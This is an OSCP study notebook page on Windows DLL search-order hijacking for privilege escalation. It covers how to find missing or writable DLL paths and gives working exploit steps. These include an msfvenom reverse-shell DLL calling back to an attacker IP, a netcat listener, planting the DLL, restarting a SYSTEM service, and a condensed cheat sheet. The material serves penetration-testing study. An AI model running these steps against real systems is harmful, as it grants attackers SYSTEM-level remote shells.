Pearson's OSCP Notebook

DLL Hijacking

Properties1
tagsdll-hijacking, dll-search-order, path, missing-dll, privesc, windows, oscp

3 min read

DLL Hijacking — Privilege Escalation

Ctrl+F: DLL Hijacking · DLL search order · missing.dll · PATH · ProcMon · T1574.001

DLL Hijacking — Windows loads DLLs by name without a full path. The loader searches directories in a fixed order. If you can write a malicious DLL into a searched location before the real one, the process loads your code → privilege escalation when the process runs as SYSTEM / admin.

Often combined with writable service directories, unquoted paths, or post-SeManageVolumeExploit write access to System32.

Different from DLL Injection (overwrite a specific known DLL path like tzres.dll).

→ Windows PrivEsc · PowerUp · icacls

📌 DLL search order (default)

When an exe loads foo.dll without path:

  1. Application directory (exe’s folder)
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. Current working directory (CWD)
  6. Directories in PATH

Abuse: Place evil.dll (matching missing name) in (1), (5), or (6) before legitimate copy is found.

MITRE: T1574.001 — DLL Search Order Hijacking

📌 When to try

SignalAction
Service binary in writable folderDrop DLL beside exe or in PATH
ProcMon — NAME NOT FOUND for .dllHijack missing dependency
PowerUp Find-ProcessDLLHijackAutomated candidates
Writable PATH entryecho %PATH% + icacls each dir
After SeManageVolumeExploitWrite DLL into service / System32 path
whoami /priv
wmic service get name,pathname,startmode
echo %PATH%

📌 Enumeration

PowerUp

. .\PowerUp.ps1
Find-ProcessDLLHijack
Invoke-AllChecks

→ PowerUp

ProcMon (Sysinternals)

Filter: Result is NAME NOT FOUND
        Path ends with .dll

Run on lab machine while starting target service.

Manual — writable PATH / service dir

icacls "C:\Program Files\Vulnerable App"
accesschk64.exe -uwdqs Users "C:\Program Files\Vulnerable App"

→ icacls

dllref (injection/hijack triggers)

Siren Security dllref — which exes load which DLLs (e.g. systeminfo → tzres.dll). Fixed-path overwrite → DLL Injection; search-order plant → this note.

📌 Exploit — missing DLL + service restart

# Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil.dll
nc -lvnp 4444
REM Target — copy as the MISSING dll name (from ProcMon)
copy evil.dll "C:\Writable\ServiceDir\missing.dll"
 
REM Restart service (runs as SYSTEM)
sc stop VulnService
sc start VulnService

→ Msfvenom · Netcat

📌 Exploit — writable PATH directory

REM If C:\CustomApps is in PATH and writable:
msfvenom ... -f dll -o version.dll
copy version.dll C:\CustomApps\version.dll
 
REM Trigger any process that loads version.dll from PATH

📌 Chain with SeManageVolumePrivilege

SeManageVolumePrivilege Enabled
    → [[SeManageVolumeExploit]]
    → Full control on C:\
    → Write DLL to hijackable path OR [[DLL Injection]] (tzres.dll)
    → Trigger (systeminfo / service / PrintNotify)

→ SeManageVolumePrivilege

📌 Defensive / exam notes

  • Prefer service restart over reboot when possible
  • Match x64 vs x86 DLL to target process
  • Read service pathname — unquoted paths are separate vector (Windows PrivEsc)
  • Restore original DLLs after lab — tzres.dll.bak

📌 Quick cheat sheet

. .\PowerUp.ps1; Find-ProcessDLLHijack
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o evil.dll
copy evil.dll "C:\Path\missing.dll"
sc stop Service && sc start Service

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks